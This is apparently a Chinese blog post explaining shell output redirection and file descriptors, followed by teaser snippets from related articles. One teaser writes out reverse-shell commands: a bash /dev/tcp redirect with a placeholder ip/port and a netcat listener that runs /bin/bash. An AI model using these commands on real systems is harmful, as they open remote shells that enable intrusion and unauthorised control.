在经常写shell脚本时,经常看到:>/dev/null 2>&1
如,
netstat -nlp | grep 9780 | awk '{print $7}' | awk -F "/" '{print $1}' 1>/dev/null 2>/dev/null
解释:
- > 代表重定向到哪里,例如:echo "test" > /home/test.txt
- 1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
- 2 表示stderr标准错误
- & 表示等同于的意思,2>&1,表示2的输出重定向等同于1
那么,上面语句的意思是:
- 1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
- 2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
总结:
command < filename 把标准输入重定向到filename文件中 command 0< filename 把标准输入重定向到filename文件中 command > filename 把标准输出重定向到filename文件中(覆盖) command 1> fielname 把标准输出重定向到filename文件中(覆盖) command >> filename 把标准输出重定向到filename文件中(追加) command 1>> filename 把标准输出重定向到filename文件中(追加) command 2> filename 把标准错误重定向到filename文件中(覆盖) command 2>> filename 把标准输出重定向到filename文件中(追加) command > filename 2>&1 把标准输出和标准错误一起重定向到filename文件中(覆盖) command >> filename 2>&1 把标准输出和标准错误一起重定向到filename文件中(追加) command < filename >filename2 把标准输入重定向到filename文件中,把标准输出重定向 到filename2文件中 command 0< filename 1> filename2 把标准输入重定向到filename文件中,把标准输出重定向 到filename2文件中
重定向的使用有如下规律:
1)标准输入0、输出1、错误2需要分别重定向,一个重定向只能改变它们中的一个。 2)标准输入0和标准输出1可以省略。(当其出现重定向符号左侧时) 3)文件描述符在重定向符号左侧时直接写即可,在右侧时前面加&。 4)文件描述符与重定向符号之间不能有空格!
相关推荐
bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了区分文件1和文件描述符1的 a>&b 的...
相信大家经常能在shell脚本中发现>/dev/null 2>&1这样的语句。以前的我并没有去深入地理解这段命令的作用,照搬照用,直到上周我将这段命令不小心写成了2>&1 >/dev/null,出了一点小问题之后,我才开始去了解这段...
shell中可能经常能看到:>/dev/null 2>&1 命令的结果可以通过%>的形式来定义输出 /dev/null 代表空设备文件 > 代表重定向到哪里,例如:echo “123” > /home/123.txt 1 表示stdout标准输出,系统默认值是1,所以”>...
shell中可能经常能看到:>/dev/null 2>&1,这里简单介绍下,方便需要的朋友
本文介绍了shell 脚本自动搭建nfs服务的方法...ping -c 1 172.16.13.254 >/dev/null && echo **********网络ok********** #第一步:关闭selinux和防火墙 setenforce 0 >/dev/null && echo **********selinux已关闭**
主要介绍了shell中>/dev/null 2>&1到底是什么,文中介绍的很详细,需要的朋友可以参考借鉴,下面来一起看看吧。
yum.sh shell脚本内容: ... mount /dev/cdrom /mnt &> /dev/null cd /mnt/Packages/ if [ $? -eq 0 ] then echo 已将系统安装光盘挂载至/mnt目录下 cp -rf /etc/yum.repos.d/* /home/ rm -rf /etc/yum.repos
linux shell 中”2>&1″的含义 脚本: nohup /mnt/Nand3/H2000G >/dev/null 2>&1 & 对于& 1 更准确的说应该是文件描述符 1,而1 一般代表的就是STDOUT_FILENO,实际上这个操作就是一个dup2(2)调用.他标准输出到all_...
第一部分s h e l l<br />1、 文件的安全与权限,<br />2、使用find和xargs<br />3、后台执行命令<br />4、文件名置换<br />5、shell输入与输出<br />6、命令执行顺序<br />7、文本过滤 <br />8、grep 家族<br />9、...
if hash espeak 2> /dev/null ; then echo " $@ " | espeak -s 120 2> /dev/null elif hash /usr/bin/say 2> /dev/null ; then /usr/bin/say " $@ " 2> /dev/null fi } 例子 #! /bin/sh say () { echo " $@ ...
A.首先了解下1和2在Linux中代表什么 在Linux系统中0 1 2是一个文件描述符 名称 代码 ...Linux 下文件描述符.../dev/stdout -> /proc/self/fd/1 -> /dev/pts/0 标准错误输出(stderr) 2 2> 或 2>> System.err /
中兴B860AV2.1T电视机顶盒打开ADB是二维码的需要下载降级包降级 1:首先开ADB是二维码的需要下载降级包降级。... 2:上传3个文件到升级分区,当贝...adb shell "dd if=/cache/backup/conf of=/dev/block/conf" adb reboot
1、下载好的资源在/Users/newmanzhou/Downloads/study_space/Android/SR5-SuperSU-v2 安装App 后打开,退出 2、先以root方式运行adb adb root adb remount adb -e push /Users/mac02/Downloads/SuperSU-v2.79-...
Shell编程-流程控制-for循环
检测服务监控脚本,可设置定时执行及...*/5 * * * * /bin/bash /home/mysh/service-health-check.sh >/dev/null 2>&1 开机启动: vim /etc/rc.local /bin/bash /home/mysh/service-health-check.sh >/dev/null 2>&1 &
/bin/shcd /var/log/httpd/cat access_log|awk ‘{print $1}’|sort|uniq -c|sort -n -r|head -n 20 > acp /dev/null access_logcp /dev/null error_logcp /dev/null limit.shcp /dev/null c#awk ‘{print $2}’ a|...
#Sqlplus user/pwd@ip @myshellpara.sql $> /dev/null Sqlplus user/pwd@ip @myshellpara.sql $> /dev/null chmod 777 myshellvar_export.sh #注意.这里的技巧,变相执行 myshellvar_export.sh,生成linux 系统的环境...
cat /mnt/log_function.sh #!/bin/bash #log function ...echo “${DATE} ${USER} execute $0 [INFO] $@” >>/var/log/log_info.log ######($0脚本本身,$@将参数作为整体传输调用) } log_error打印shell脚本
这几天发现CentOS系统内存一直涨,即使把apache和mysql关闭了,内存也不释放,可以... #echo 1 > /proc/sys/vm/drop_caches # To free dentries and inodes: #echo 2 > /proc/sys/vm/drop_caches # To fre